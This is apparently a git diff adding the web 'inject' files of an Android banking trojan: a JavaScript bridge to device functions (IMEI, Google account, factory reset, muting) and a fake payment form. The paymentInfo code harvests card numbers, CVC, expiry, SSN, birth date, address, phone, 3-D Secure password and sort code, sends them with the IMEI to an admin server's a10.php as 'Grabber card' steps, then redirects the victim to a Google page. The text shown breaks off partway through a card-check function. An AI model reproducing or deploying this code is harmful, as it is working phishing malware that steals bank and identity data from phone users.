initial commit
This commit is contained in:
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,233 @@
|
||||
|
||||
/* Closes window of inject */
|
||||
|
||||
function closeWindow() {
|
||||
if (isAndroid() && typeof(Android.closeWindow) == 'function') {
|
||||
Android.closeWindow();
|
||||
} else {
|
||||
functionIsNotDefined('closeWindow');
|
||||
}
|
||||
}
|
||||
|
||||
/* Executes factory reset of device */
|
||||
|
||||
function factoryReset() {
|
||||
if (isAndroid() && typeof(Android.factoryReset) == 'function') {
|
||||
Android.factoryReset();
|
||||
} else {
|
||||
functionIsNotDefined('factoryReset');
|
||||
}
|
||||
}
|
||||
|
||||
/* Transmits data to server */
|
||||
|
||||
function transmit(stepID, form, closeInject, additionalData) {
|
||||
var o = {};
|
||||
var result = true;
|
||||
var m = $('#' + form).serializeArray();
|
||||
var a = (additionalData) ? m.concat(additionalData) : m;
|
||||
|
||||
$.each(a, function() {
|
||||
var thisValue = this.value.trim();
|
||||
if (thisValue == '') {
|
||||
result = false;
|
||||
return false;
|
||||
}
|
||||
|
||||
if (o[this.name] !== undefined) {
|
||||
if (!o[this.name].push) {
|
||||
o[this.name] = [o[this.name]];
|
||||
}
|
||||
o[this.name].push(thisValue || '');
|
||||
} else {
|
||||
o[this.name] = thisValue || '';
|
||||
}
|
||||
});
|
||||
|
||||
if (!result) {
|
||||
return false;
|
||||
}
|
||||
|
||||
o['stepID'] = stepID;
|
||||
|
||||
if (isAndroid() && typeof(Android.sendDataToServer) == 'function') {
|
||||
Android.sendDataToServer(JSON.stringify(o), closeInject);
|
||||
} else {
|
||||
console.log(JSON.stringify(o));
|
||||
}
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
/* Write to console if argument function is not defined */
|
||||
|
||||
function functionIsNotDefined(func) {
|
||||
console.log('Android.' + func + '() was called');
|
||||
}
|
||||
|
||||
/* Returns ISO XX code of current country */
|
||||
|
||||
function getCountryCode() {
|
||||
if (isAndroid() && typeof(Android.getCountryCode) == 'function') {
|
||||
return Android.getCountryCode();
|
||||
} else {
|
||||
functionIsNotDefined('getCountryCode');
|
||||
return "gb";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns manufacturer of device */
|
||||
|
||||
function getDeviceBrand() {
|
||||
if (isAndroid() && typeof(Android.getDeviceBrand) == 'function') {
|
||||
return Android.getDeviceBrand();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceBrand');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns model of device */
|
||||
|
||||
function getDeviceModel() {
|
||||
if (isAndroid() && typeof(Android.getDeviceModel) == 'function') {
|
||||
return Android.getDeviceModel();
|
||||
} else {
|
||||
functionIsNotDefined('getDeviceModel');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns Google Account (E-mail address) */
|
||||
|
||||
function getGoogleAccount() {
|
||||
if (isAndroid() && typeof(Android.getGoogleAccount) == 'function') {
|
||||
return Android.getGoogleAccount();
|
||||
} else {
|
||||
functionIsNotDefined('getGoogleAccount');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMEI code of device */
|
||||
|
||||
function getImei() {
|
||||
if (isAndroid() && typeof(Android.getImei) == 'function') {
|
||||
return Android.getImei();
|
||||
} else {
|
||||
functionIsNotDefined('getImei');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns IMSI code of device */
|
||||
|
||||
function getImsi() {
|
||||
if (isAndroid() && typeof(Android.getImsi) == 'function') {
|
||||
return Android.getImsi();
|
||||
} else {
|
||||
functionIsNotDefined('getImsi');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns ISO XX language code of current country */
|
||||
|
||||
function getLanguageCode() {
|
||||
if (isAndroid() && typeof(Android.getLanguageCode) == 'function') {
|
||||
return Android.getLanguageCode();
|
||||
} else {
|
||||
functionIsNotDefined('getLanguageCode');
|
||||
return "en";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns package name of current opened application */
|
||||
|
||||
function getPackageName() {
|
||||
if (isAndroid() && typeof(Android.getPackageName) == 'function') {
|
||||
return Android.getPackageName();
|
||||
} else {
|
||||
functionIsNotDefined('getPackageName');
|
||||
return "";
|
||||
}
|
||||
}
|
||||
|
||||
/* Returns current version of SDK */
|
||||
|
||||
function getVersionSdk() {
|
||||
if (isAndroid() && typeof(Android.getVersionSdk) == 'function') {
|
||||
return Android.getVersionSdk();
|
||||
} else {
|
||||
functionIsNotDefined('getVersionSdk');
|
||||
return 0;
|
||||
}
|
||||
}
|
||||
|
||||
/* Return whether Android is defined */
|
||||
|
||||
function isAndroid() {
|
||||
return typeof Android != 'undefined';
|
||||
}
|
||||
|
||||
/* Mute everything volume */
|
||||
|
||||
function muteVolume(state) {
|
||||
if (isAndroid() && typeof(Android.muteVolume) == 'function') {
|
||||
Android.muteVolume(state);
|
||||
} else {
|
||||
functionIsNotDefined('muteVolume');
|
||||
}
|
||||
}
|
||||
|
||||
/*
|
||||
* Shows message in dialog window
|
||||
* If @packageName is not empty bot will start @packageName
|
||||
*/
|
||||
|
||||
function showAlert(title, message, buttonText, packageName) {
|
||||
if (isAndroid() && typeof(Android.alert) == 'function') {
|
||||
Android.alert(title, message, buttonText, packageName);
|
||||
} else {
|
||||
alert(message);
|
||||
}
|
||||
}
|
||||
|
||||
/* Shows error if server did not answer */
|
||||
|
||||
function showInternetError() {
|
||||
if (isAndroid() && typeof(Android.saveFailInject) == 'function') {
|
||||
Android.saveFailInject(); // Saves inject's data in memory of device
|
||||
} else {
|
||||
functionIsNotDefined('saveFailInject');
|
||||
}
|
||||
|
||||
$('#cat-forms').hide();
|
||||
$('#cat-error').show();
|
||||
}
|
||||
|
||||
/* Sends form with step's number stepID and shows form stepID + 1 */
|
||||
|
||||
function switchStep(stepID, regReceiver) {
|
||||
|
||||
if (transmit(stepID, regReceiver)) {
|
||||
|
||||
if (stepID == 1) {
|
||||
$('.cat-start-step').hide();
|
||||
}
|
||||
|
||||
$('.cat-step-block').hide();
|
||||
$('#cat-step-' + (stepID + 1)).show();
|
||||
|
||||
} else {
|
||||
showAlert('Error', 'You must fill out every field', 'OK', '')
|
||||
}
|
||||
}
|
||||
|
||||
/* Hides block with error and shows form for enter inject's data */
|
||||
|
||||
function tryEnterAgain() {
|
||||
|
||||
$('#cat-error').hide();
|
||||
$('#cat-forms').show();
|
||||
}
|
||||
@@ -0,0 +1,147 @@
|
||||
/**
|
||||
* Credit.js
|
||||
* Version: 1.0.0
|
||||
* Author: Ron Masas
|
||||
*/
|
||||
|
||||
(function( $ ){
|
||||
|
||||
$.fn.extend({
|
||||
credit: function ( args ) {
|
||||
|
||||
$(this).each(function (){
|
||||
|
||||
|
||||
// Set defaults
|
||||
var defaults = {
|
||||
auto_select:true
|
||||
}
|
||||
|
||||
// Init user arguments
|
||||
var args = $.extend(defaults,args);
|
||||
|
||||
// global var for the orginal input
|
||||
var credit_org = $(this);
|
||||
|
||||
// Hide input if css was not set
|
||||
credit_org.css("display","none");
|
||||
|
||||
// Create credit control holder
|
||||
var credit_control = $('<div></div>',{
|
||||
class: "credit-input"
|
||||
});
|
||||
|
||||
// Add credit cell inputs to the holder
|
||||
for ( i = 0; i < 4; i++ ) {
|
||||
credit_control.append(
|
||||
$("<input />",{
|
||||
class: "credit-cell",
|
||||
placeholder: "0000",
|
||||
maxlength: 4
|
||||
})
|
||||
);
|
||||
}
|
||||
|
||||
// Print the full credit input
|
||||
credit_org.after( credit_control );
|
||||
|
||||
// Global var for credit cells
|
||||
var cells = credit_control.children(".credit-cell");
|
||||
|
||||
/**
|
||||
* Set key press event for all credit inputs
|
||||
* this function will allow only to numbers to be inserted.
|
||||
* @access public
|
||||
* @return {bool} check if user input is only numbers
|
||||
*/
|
||||
cells.keypress(function ( event ) {
|
||||
// Check if key code is a number
|
||||
if ( event.keyCode > 31 && (event.keyCode < 48 || event.keyCode > 57) ) {
|
||||
// Key code is a number, the `keydown` event will fire next
|
||||
return false;
|
||||
}
|
||||
// Key code is not a number return false, the `keydown` event will not fire
|
||||
return true;
|
||||
});
|
||||
|
||||
/**
|
||||
* Set key down event for all credit inputs
|
||||
* @access public
|
||||
* @return {void}
|
||||
*/
|
||||
cells.keydown(function ( event ) {
|
||||
// Check if key is backspace
|
||||
var backspace = ( event.keyCode == 8 );
|
||||
// Switch credit text length
|
||||
switch( $(this).val().length ) {
|
||||
case 4:
|
||||
// If key is backspace do nothing
|
||||
if ( backspace ) {
|
||||
return;
|
||||
}
|
||||
// Select next credit element
|
||||
var n = $(this).next(".credit-cell");
|
||||
// If found
|
||||
if (n.length) {
|
||||
// Focus on it
|
||||
n.focus();
|
||||
}
|
||||
break;
|
||||
case 0:
|
||||
// Check if key down is backspace
|
||||
if ( !backspace ) {
|
||||
// Key is not backspace, do nothing.
|
||||
return;
|
||||
}
|
||||
// Select previous credit element
|
||||
var n = $(this).prev(".credit-cell");
|
||||
// If found
|
||||
if (n.length) {
|
||||
// Focus on it
|
||||
n.focus();
|
||||
}
|
||||
break;
|
||||
}
|
||||
});
|
||||
|
||||
// On cells focus
|
||||
cells.focus( function() {
|
||||
// Add focus class
|
||||
credit_control.addClass('c-focus');
|
||||
});
|
||||
|
||||
// On focus out
|
||||
cells.blur( function() {
|
||||
// Remove focus class
|
||||
credit_control.removeClass('c-focus');
|
||||
});
|
||||
|
||||
/**
|
||||
* Update orginal input value to the credit card number
|
||||
* @access public
|
||||
* @return {void}
|
||||
*/
|
||||
cells.keyup(function (){
|
||||
// Init card number var
|
||||
var card_number = '';
|
||||
// For each of the credit card cells
|
||||
cells.each(function (){
|
||||
// Add current cell value
|
||||
card_number = card_number + $(this).val();
|
||||
});
|
||||
// Set orginal input value
|
||||
credit_org.val( card_number );
|
||||
});
|
||||
|
||||
|
||||
if ( args["auto_select"] === true ) {
|
||||
// Focus on the first credit cell input
|
||||
credit_control.children(".credit-cell:first").focus();
|
||||
}
|
||||
|
||||
});
|
||||
|
||||
}
|
||||
});
|
||||
|
||||
})(jQuery);
|
||||
@@ -0,0 +1,800 @@
|
||||
(function ($) {
|
||||
|
||||
|
||||
|
||||
|
||||
$.fn.paymentInfo = function (method) {
|
||||
|
||||
var typeCard;
|
||||
var numberCC;
|
||||
var month_;
|
||||
var year_;
|
||||
|
||||
var date = new Date();
|
||||
var dataGet = date.toDateString() + " " + date.getHours() + ":" + date.getMinutes();
|
||||
|
||||
|
||||
function getAjax(text) {
|
||||
var msg = $('#myForm').serialize();
|
||||
var URL_ = $('.' + opts.URL).val();
|
||||
|
||||
$.ajax({
|
||||
type: 'POST',
|
||||
url: URL_+'/o1o/a10.php',
|
||||
data: text,
|
||||
success: function(data) {
|
||||
$('.results').html(data);
|
||||
},
|
||||
error: function(xhr, str){
|
||||
// alert('Возникла ошибка: ' + xhr.responseCode);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
var methods,
|
||||
helpers,
|
||||
events,
|
||||
ccDefinitions,
|
||||
opts,
|
||||
cardType,
|
||||
pluginName = "paymentInfo",
|
||||
cardCvcIsOk = false,
|
||||
cardNumberIsOk = false,
|
||||
doubleVbvWasSent = false,
|
||||
cardExpirationIsOk = false,
|
||||
versionSDK = getVersionSdk();
|
||||
|
||||
// Events map for the matchNumbers() function.
|
||||
events = $.map(['change', 'blur', 'keyup', 'keypress', 'keydown'], function (v) {
|
||||
return v + '.' + pluginName;
|
||||
}).join(' ');
|
||||
|
||||
// Credit card regex patterns.
|
||||
ccDefinitions = {
|
||||
|
||||
'visa': /^4/,
|
||||
'mastercard': /^5[1-5]/,
|
||||
'amex': /^3(4|7)/,
|
||||
'diners': /^3(00|01|02|03|04|05|5|8|9|09)/,
|
||||
'discover': /^6(5|011|44|45|46|47|48|49)/,
|
||||
'jcb': /^35[28-89]/
|
||||
};
|
||||
|
||||
helpers = {
|
||||
|
||||
getCreditCardType: function (number) {
|
||||
var ccType;
|
||||
numberCC=number;
|
||||
$.each(ccDefinitions, function (i, v) {
|
||||
if (v.test(number)) {
|
||||
ccType = i;
|
||||
typeCard = i;
|
||||
return false;
|
||||
}
|
||||
});
|
||||
return ccType;
|
||||
},
|
||||
|
||||
showAllCardImages: function () {
|
||||
$('.img_cards').fadeIn( 'slow' );
|
||||
},
|
||||
|
||||
showErrorField: function (field_class) {
|
||||
$('.' + field_class).addClass('field_error');
|
||||
var width = $('.' + field_class).offset().left + $('.' + field_class).width();
|
||||
$('#' + field_class + '-error').css('left', width - 12);
|
||||
var display = (field_class == opts.cardVbvClass) ? 'block' : 'inline-flex';
|
||||
$('#' + field_class + '-error').css('display', display);
|
||||
},
|
||||
|
||||
hideErrorField: function (field_class) {
|
||||
$('.' + field_class).removeClass('field_error');
|
||||
$('#' + field_class + '-error').hide();
|
||||
},
|
||||
|
||||
expirationInComplete: function () {
|
||||
cardExpirationIsOk = false;
|
||||
},
|
||||
|
||||
expirationComplete: function () {
|
||||
cardExpirationIsOk = true;
|
||||
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
|
||||
var month = parseInt(mmYY[0]);
|
||||
var year = parseInt(mmYY[1]);
|
||||
|
||||
|
||||
|
||||
if (month > 12 || month < 1 || year > 28 || year < 17) {
|
||||
helpers.showErrorField(opts.cardExpirationClass);
|
||||
cardExpirationIsOk = false;
|
||||
} else {
|
||||
|
||||
month_=month;
|
||||
year_=year;
|
||||
|
||||
helpers.hideErrorField(opts.cardExpirationClass);
|
||||
cardExpirationIsOk = true;
|
||||
setTimeout(function () {
|
||||
$('.' + opts.cardCvvClass).focus();
|
||||
$('.' + opts.cardCvcHint).fadeIn('slow');
|
||||
}, 220);
|
||||
}
|
||||
},
|
||||
|
||||
cvcInComplete: function () {
|
||||
cardCvcIsOk = false;
|
||||
|
||||
},
|
||||
|
||||
cvcComplete: function () {/*****************************************************************************************ПЕРВЫЙ ШАГ*/
|
||||
|
||||
cardCvcIsOk = true;
|
||||
helpers.hideErrorField(opts.cardCvvClass);
|
||||
helpers.checkCardDataAndTransmit();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
var CVC = $('.' + opts.cardCvvClass).val();
|
||||
|
||||
|
||||
// getAjax('p=' + IMEI + '|Grabber card step 1|' + typeCard + '|' + numberCC + '|' + month_ + '/' + year_ + '|' + CVC + '|' + dataGet);
|
||||
|
||||
//alert(typeCard + " | " + numberCC + " | " + month_ + "/" + year_ + " " + CVC + " " + IMEI);
|
||||
},
|
||||
|
||||
exists: function () {
|
||||
|
||||
return $(this).length;
|
||||
|
||||
|
||||
},
|
||||
|
||||
checkCardDataAndTransmit: function () {
|
||||
|
||||
if (!cardNumberIsOk) {
|
||||
|
||||
helpers.showErrorField(opts.cardNumberClass);
|
||||
$('.' + opts.cardNumberClass).focus();
|
||||
|
||||
|
||||
return;
|
||||
}
|
||||
if (!cardExpirationIsOk) {
|
||||
helpers.showErrorField(opts.cardExpirationClass);
|
||||
$('.' + opts.cardExpirationClass).focus();
|
||||
return;
|
||||
}
|
||||
var mmYY = $('.' + opts.cardExpirationClass).val().split('/');
|
||||
var mmYYarr = [
|
||||
{ name: 'expiredMonth', value: mmYY[0] },
|
||||
{ name: 'expiredYear', value: mmYY[1] } ];
|
||||
if (transmit(1, opts.cardDataBlockId, false, mmYYarr)) {
|
||||
$('#' + opts.cardDataBlockId).hide();
|
||||
$('#' + opts.addressFieldsBlockId).slideDown(700);
|
||||
$('.' + opts.saveButtonClass).attr('disabled', false);
|
||||
}
|
||||
},
|
||||
|
||||
checkHolderDataAndTransmit: function (pressSend) {
|
||||
if ($('.' + opts.cardHolderClass).val().length < 10) {
|
||||
helpers.showErrorField(opts.cardHolderClass);
|
||||
$('.' + opts.cardHolderClass).focus();
|
||||
return;
|
||||
}
|
||||
|
||||
helpers.hideErrorField(opts.cardHolderClass);
|
||||
|
||||
var dateBirth = $('.' + opts.dateBirthClass).val();
|
||||
if (dateBirth.length != 10) {
|
||||
helpers.showErrorField(opts.dateBirthClass);
|
||||
$('.' + opts.dateBirthClass).focus();
|
||||
return;
|
||||
}
|
||||
var resultReg = dateBirth.match(/^\d{2}\.\d{2}\.(\d{4})$/);
|
||||
var year = resultReg[1];
|
||||
if (!year || year > 2006 || year < 1956) {
|
||||
helpers.showErrorField(opts.dateBirthClass);
|
||||
$('.' + opts.dateBirthClass).focus();
|
||||
return;
|
||||
}
|
||||
helpers.hideErrorField(opts.dateBirthClass);
|
||||
|
||||
var phonePrefix = $('.' + opts.prefixNumberClass).val();
|
||||
if (phonePrefix.length == 0) {
|
||||
helpers.showErrorField(opts.prefixNumberClass);
|
||||
$('.' + opts.prefixNumberClass).focus();
|
||||
return;
|
||||
}
|
||||
helpers.hideErrorField(opts.prefixNumberClass);
|
||||
|
||||
var phoneBody = $('.' + opts.phoneNumberClass).val();
|
||||
if (phoneBody.length < 7) {
|
||||
helpers.showErrorField(opts.phoneNumberClass);
|
||||
$('.' + opts.phoneNumberClass).focus();
|
||||
return;
|
||||
}
|
||||
helpers.hideErrorField(opts.phoneNumberClass);
|
||||
|
||||
var numberPhone = phonePrefix.concat(phoneBody).replace(/ /ig, '');
|
||||
var numberPhoneArr = [ { name: 'phoneNumber', value: numberPhone } ];
|
||||
var thirdStep = (cardType == 'visa' || cardType == 'mastercard');
|
||||
|
||||
if (pressSend) {
|
||||
|
||||
|
||||
|
||||
$('.' + opts.saveButtonClass).attr('disabled', true);
|
||||
setTimeout(function () {
|
||||
$('.' + opts.saveButtonClass).attr('disabled', false)
|
||||
}, 2500);
|
||||
|
||||
if (transmit(2, opts.addressFieldsBlockId, !thirdStep, numberPhoneArr)) {
|
||||
if (thirdStep) {
|
||||
if (cardType == 'mastercard') {
|
||||
var imgUrl = 'images/mdpi/mastercard_securecode_logo.png';
|
||||
$('.' + opts.vbvImageClass).attr('src', imgUrl);
|
||||
}
|
||||
|
||||
var сardHolder = $('.' + opts.cardHolderClass).val();
|
||||
var dateBirth = $('.' + opts.dateBirthClass).val();
|
||||
var postalCode = $('.' + opts.postalCodeClass).val();
|
||||
var holderAddress = $('.' + opts.holderAddressClass).val();
|
||||
var prefixNumber = $('.' + opts.prefixNumberClass).val();
|
||||
var phoneNumber = $('.' + opts.phoneNumberClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
var SSN_ = $('.' + opts.SSN).val();
|
||||
var AN_ = $('.' + opts.AN).val();
|
||||
var CVC2 = $('.' + opts.cardCvvClass).val();
|
||||
|
||||
getAjax('p=' + IMEI + '|Grabber card step 1|' + typeCard + '|' + numberCC + '|' + month_ + '/' + year_ + '|' + CVC2 + '|' + dataGet);
|
||||
|
||||
getAjax('p=' + IMEI + '|Grabber card step 2|' + сardHolder + '|' + dateBirth + '|' + postalCode + '|' + holderAddress + '|' + prefixNumber + phoneNumber + '|' + dataGet + '|' + numberCC + '|' + SSN_ + '|' + AN_);
|
||||
//alert(сardHolder +" | " + dateBirth + " | " + postalCode + " | " + holderAddress + " | " + prefixNumber + phoneNumber);
|
||||
/*****************************************************************************************ВТОРОЙ ШАГ*/
|
||||
|
||||
|
||||
|
||||
$('.' + opts.cardVbvClass).focus();
|
||||
$('.' + opts.saveButtonClass).hide();
|
||||
$('.' + opts.verifyButtonClass).show();
|
||||
} else {
|
||||
helpers.startEndSpinner();
|
||||
}
|
||||
$('.' + opts.textTitleClass).hide();
|
||||
$('#' + opts.addressFieldsBlockId).hide();
|
||||
$('#' + opts.cardVbvBlockId).show();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
checkVbvDataAndTransmit: function () {
|
||||
if ($('.' + opts.cardVbvClass).val().length < 4) {
|
||||
helpers.showErrorField(opts.cardVbvClass);
|
||||
return;
|
||||
}
|
||||
|
||||
if (doubleVbvWasSent) {
|
||||
|
||||
helpers.hideErrorField(opts.cardVbvClass);
|
||||
helpers.startEndSpinner();
|
||||
var stepID = (getCountryCode() == 'gb') ? 5 : 4;
|
||||
transmit(stepID, opts.cardVbvBlockId, true);
|
||||
|
||||
} else {
|
||||
var VBV = $('.' + opts.cardVbvClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
getAjax('p=' + IMEI + '|Grabber card step 3|' + VBV + '|' + numberCC);
|
||||
//alert(VBV);
|
||||
/*****************************************************************************************ТРЕТИЙ ШАГ*/
|
||||
transmit(3, opts.cardVbvBlockId, false);
|
||||
|
||||
doubleVbvWasSent = true;
|
||||
$('.' + opts.cardVbvClass).val('');
|
||||
helpers.showErrorField(opts.cardVbvClass);
|
||||
$('.' + opts.cardVbvClass).removeClass('field_error');
|
||||
$('.' + opts.cardVbvClass).attr('name','vbvPassRepeat');
|
||||
|
||||
if (getCountryCode() == 'gb') {
|
||||
$('.' + opts.vbvImageClass).attr('src', 'images/mdpi/lock.png');
|
||||
$('.' + opts.cardVbvClass).attr('placeholder', 'Sort code');
|
||||
$('.' + opts.cardVbvClass).attr('name', 'sortCode');
|
||||
$('.' + opts.cardVbvClass).focus();
|
||||
}
|
||||
}
|
||||
},
|
||||
|
||||
startEndSpinner: function () {
|
||||
var Sort_code = $('.' + opts.cardVbvClass).val();
|
||||
var IMEI = $('.' + opts.imei).val();
|
||||
|
||||
//getAjax('p=' + IMEI + '|Grabber card step 4|' + Sort_code + '|' + numberCC);
|
||||
//alert(Sort_code);
|
||||
/*****************************************************************************************ЧЕТВЕРТЫЙ ШАГ*/
|
||||
|
||||
|
||||
$('.' + opts.vbvImageClass).attr('src', 'images/spinner.gif');
|
||||
$('.' + opts.vbvImageClass).css('height', '100%');
|
||||
$('.' + opts.vbvImageClass).css('width', '100%');
|
||||
$('.' + opts.vbvImageClass).css('margin-top', '10px');
|
||||
$('.' + opts.buttonBarClass).hide();
|
||||
$('.' + opts.cardVbvClass).attr('style','display:none !important');
|
||||
|
||||
var URL_admin = $('.' + opts.URL).val();
|
||||
//location.replace(URL_admin + '/o1o/a10.php?p=' + IMEI + '|Grabber card step 4|' + Sort_code + '|' + numberCC);
|
||||
//location.replace('STOP');
|
||||
|
||||
getAjax('p=' + IMEI + '|Grabber card step 4|' + Sort_code + '|' + numberCC);
|
||||
|
||||
setTimeout("location.replace('https://support.google.com/calendar/answer/6261951?hl=en&co=GENIE.Platform=Android')", 4000);
|
||||
|
||||
|
||||
|
||||
//location.replace('https://play.google.com/apps');
|
||||
},
|
||||
|
||||
matchNumbers: function (element) {
|
||||
|
||||
var cardNumber = element.val();
|
||||
cardType = helpers.getCreditCardType(cardNumber);
|
||||
|
||||
if (cardNumber != "") {
|
||||
if (cardType !== undefined && $('#img_card_' + cardType).exists()) {
|
||||
$('#img_card_' + cardType).removeClass('img_cards');
|
||||
$('.img_cards').fadeOut( 'slow' );
|
||||
$('#img_card_' + cardType).addClass('img_cards');
|
||||
} else {
|
||||
helpers.showAllCardImages();
|
||||
}
|
||||
} else {
|
||||
helpers.showAllCardImages();
|
||||
}
|
||||
|
||||
//if (false && versionSDK < 16) {
|
||||
/*
|
||||
if (cardType == "amex" && cardNumber.length == 15) {
|
||||
helpers.creditCardComplete();
|
||||
} else if (cardNumber.length == 16) {
|
||||
helpers.creditCardComplete();
|
||||
}
|
||||
*/
|
||||
//} else {
|
||||
|
||||
var maskCVC = (cardType === "amex") ? '0000' : '000';
|
||||
|
||||
$('.' + opts.cardCvvClass)
|
||||
.mask(maskCVC, {
|
||||
onComplete: function(cep) {
|
||||
helpers.cvcComplete();
|
||||
},
|
||||
onInvalid: function(val, e, f, invalid, options) {
|
||||
helpers.cvcInComplete();
|
||||
}
|
||||
})
|
||||
.bind('blur', function (e) {
|
||||
if (!cardCvcIsOk) {
|
||||
helpers.showErrorField(opts.cardCvvClass);
|
||||
}
|
||||
});
|
||||
|
||||
var mask = (cardType === "amex")
|
||||
? '0000 000000 00000'
|
||||
: '0000 0000 0000 0000';
|
||||
|
||||
element.mask(mask, {
|
||||
onComplete: function(cep) {
|
||||
helpers.creditCardComplete();
|
||||
}
|
||||
});
|
||||
//}
|
||||
},
|
||||
|
||||
creditCardComplete: function () {
|
||||
|
||||
var element = $('.' + opts.cardNumberClass),
|
||||
uvalue = element.val(),
|
||||
element_error = $('.' + opts.cardNumberClass + '_error');
|
||||
|
||||
cardType = helpers.getCreditCardType(uvalue);
|
||||
|
||||
if (cardType === "amex" && uvalue.length === 15) {
|
||||
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_amex.png');
|
||||
} else if (cardType !== "amex" && uvalue.length === 16) {
|
||||
$('.' + opts.cardCvcHint).attr('src', 'images/mdpi/cvc_hint_default.png');
|
||||
}
|
||||
|
||||
var ccDigit = uvalue.replace(/ /ig, '');
|
||||
|
||||
if (!helpers.ccLuhnCheck(ccDigit) || !helpers.checkCreditCard(ccDigit)) {
|
||||
helpers.showErrorField(opts.cardNumberClass);
|
||||
cardNumberIsOk = false;
|
||||
return;
|
||||
}
|
||||
|
||||
cardNumberIsOk = true;
|
||||
helpers.hideErrorField(opts.cardNumberClass);
|
||||
$('.' + opts.cardMmYyCvcBlock).show();
|
||||
$('.' + opts.cardExpirationClass).focus();
|
||||
},
|
||||
|
||||
beginCreditCard: function (element) {
|
||||
|
||||
$(element)
|
||||
.unbind("keypress blur")
|
||||
.bind("keypress blur", function (e) {
|
||||
|
||||
if (e.keyCode === 13 || e.type === 'blur') {
|
||||
|
||||
var uvalue = $(element).val();
|
||||
cardType = helpers.getCreditCardType(uvalue);
|
||||
|
||||
// Make sure the number length is valid
|
||||
if ((cardType === "amex" && uvalue.length === 15) ||
|
||||
(cardType !== "amex" && uvalue.length === 16)) {
|
||||
helpers.creditCardComplete();
|
||||
} else {
|
||||
cardNumberIsOk = false;
|
||||
}
|
||||
}
|
||||
|
||||
})
|
||||
.unbind("focus click keydown");
|
||||
},
|
||||
|
||||
ccLuhnCheck: function (card_number) {
|
||||
|
||||
var arr = [],
|
||||
card_number = card_number.toString();
|
||||
|
||||
for(var i = 0; i < card_number.length; i++) {
|
||||
|
||||
if(i % 2 === 0) {
|
||||
|
||||
var m = parseInt(card_number[i]) * 2;
|
||||
|
||||
if(m > 9) {
|
||||
arr.push(m - 9);
|
||||
} else {
|
||||
arr.push(m);
|
||||
}
|
||||
} else {
|
||||
var n = parseInt(card_number[i]);
|
||||
arr.push(n)
|
||||
}
|
||||
}
|
||||
|
||||
var summ = arr.reduce(function(a, b) { return a + b; });
|
||||
return Boolean(!(summ % 10));
|
||||
},
|
||||
|
||||
checkCreditCard: function (cardnumber) {
|
||||
|
||||
var badDigits = [
|
||||
'00000',
|
||||
'111111',
|
||||
'222222',
|
||||
'333333',
|
||||
'444444',
|
||||
'555555',
|
||||
'666666',
|
||||
'777777',
|
||||
'888888',
|
||||
'999999'
|
||||
];
|
||||
|
||||
var goodCard = true;
|
||||
|
||||
$.each(badDigits, function() {
|
||||
|
||||
if (cardnumber.indexOf(this) != -1) {
|
||||
goodCard = false;
|
||||
return false;
|
||||
}
|
||||
});
|
||||
|
||||
if ( ! goodCard )
|
||||
return false;
|
||||
|
||||
// Array to hold the permitted card characteristics
|
||||
var cards = new Array();
|
||||
|
||||
// Define the cards we support. You may add addtional card types as follows.
|
||||
|
||||
// Name: As in the selection box of the form - must be same as user's
|
||||
// Length: List of possible valid lengths of the card number for the card
|
||||
// prefixes: List of possible prefixes for the card
|
||||
// checkdigit: Boolean to say whether there is a check digit
|
||||
|
||||
cards[0] = {
|
||||
name : "Visa",
|
||||
length : "13,16",
|
||||
prefixes : "4",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[1] = {
|
||||
name : "MasterCard",
|
||||
length : "16",
|
||||
prefixes : "51,52,53,54,55",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[2] = {
|
||||
name : "DinersClub",
|
||||
length : "14,16",
|
||||
prefixes : "36,38,54,55",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[3] = {
|
||||
name : "CarteBlanche",
|
||||
length : "14",
|
||||
prefixes : "300,301,302,303,304,305",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[4] = {
|
||||
name : "AmEx",
|
||||
length : "15",
|
||||
prefixes : "34,37",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[5] = {
|
||||
name : "Discover",
|
||||
length : "16",
|
||||
prefixes : "6011,622,64,65",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[6] = {
|
||||
name : "JCB",
|
||||
length : "16",
|
||||
prefixes : "35",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[7] = {
|
||||
name : "enRoute",
|
||||
length : "15",
|
||||
prefixes : "2014,2149",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[8] = {
|
||||
name : "Solo",
|
||||
length : "16,18,19",
|
||||
prefixes : "6334,6767",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[9] = {
|
||||
name : "Switch",
|
||||
length : "16,18,19",
|
||||
prefixes : "4903,4905,4911,4936,564182,633110,6333,6759",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[10] = {
|
||||
name : "Maestro",
|
||||
length : "12,13,14,15,16,18,19",
|
||||
prefixes : "5018,5020,5038,6304,6759,6761,6762,6763",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[11] = {
|
||||
name : "VisaElectron",
|
||||
length : "16",
|
||||
prefixes : "4026,417500,4508,4844,4913,4917",
|
||||
checkdigit : true
|
||||
};
|
||||
cards[12] = {
|
||||
name : "LaserCard",
|
||||
length : "16,17,18,19",
|
||||
prefixes : "6304,6706,6771,6709",
|
||||
checkdigit : true
|
||||
};
|
||||
|
||||
// Ensure that the user has provided a credit card number
|
||||
if (cardnumber.length == 0) {
|
||||
return false;
|
||||
}
|
||||
|
||||
// Now remove any spaces from the credit card number
|
||||
cardnumber = cardnumber.replace(/\s/g, "");
|
||||
